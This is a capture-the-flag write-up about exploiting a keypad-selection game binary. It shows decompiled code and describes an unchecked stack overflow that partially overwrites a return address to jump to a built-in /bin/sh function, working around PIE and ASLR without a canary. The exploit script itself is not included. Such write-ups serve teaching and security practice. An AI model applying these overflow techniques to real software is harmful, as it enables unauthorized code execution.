The binary let’s us select multiple bytes in a cyberpunk hack manner to put together a code.
The issue here is, that it doesn’t do a boundary check on the length of the code and we can overwrite followup data by just continuing selecting values. After selecting one byte, the direction will toggle between horizontal and vertical selection, so we have to think a bit ahead, what and how we can overwrite.
Let’s take a look how the pad itself is initialized

int main(int argc, char **argv, char **env)
{
unsigned int rand_val;
int fd;
char pad_values[0x28];
rand_val = 0;
fd = open("/dev/urandom", 0, env);
if ( fd == -1 )
return -1;
if ( read(fd, &rand_val, 8) == 8 )
{
close(fd);
srand(rand_val);
...
memset(pad_values, 0, 0x28);
shuffle_pad(pad_values);
start_game(pad_values);
}
else
{
close(fd);
return -1;
}
return 0;
}
void shuffle_pad(char *pad_values)
{
long cur_byte;
for (int y = 0; y <= 5; ++y )
{
for (int x = 0; x <= 5; ++x )
{
do
{
if ((rand() & 1) != 0 )
cur_byte = (long)shell;
else
cur_byte = (long)&system;
pad_values[6 * y + x] = cur_byte >> (8 * (char)(rand() % 8));
}
while (!pad_values[6 * y + x]);
}
}
}
So, the available bytes in the pad will be from either shell or system address. This will be useful, since the application uses PIE.

void start_game(char *pad_values)
{
char code[8];
// Initilaize code
for (int i = 0; i <= 7; ++i)
code[i] = 0;
show_menu();
handle_menu(code, pad_values);
}
As we can see, 8 bytes on the stack are available, but since we can stuff more into it, we’ll be able to overwrite the return address of this function (no canary).
We could probably guess the ASLR addresses from the keypad, but that’s not really needed at all, since the binary contains a shell function
1
2
3
4
void shell()
{
execv("/bin/sh", 0LL);
}
And since the lowest 3 nibbles of every address will be fix even with ASLR, we can just overwrite the lower two bytes of the return address of start game to let it point to shell (0x000555555554b5a).
The lowest byte will always be 0x5a and the next byte is just the one from the pad, where the second nibble is 0xb.
Return address will be at &code + 16. After 16 key values the selection direction will be horizontal, so the attack plan will be:
- Read all keypad values
- Find a vertical line, which contains
0x5aand the byte that ends in0xb - Select 16 random values (but only from other lines, to keep those for overwriting return address)
- Select
0x5a - Select byte with
0xbnibble - Quit to trigger shell
Since it’s a CTF, I implemented the “game logic” in a quick&dirty way.
- Select a cell, go down (until we find an available value and are not in winning line)
- Select a cell, go right (until we find an available value and are not in winning line)
- Rinse & repeat
This could be improved for sure, since this might not end up in the “winning line” all the time, but running it 2 or 3 times mostly ended up successfully, so should be good enough ;)

Running this, will hopefully select 16 random values and end up in our final line.
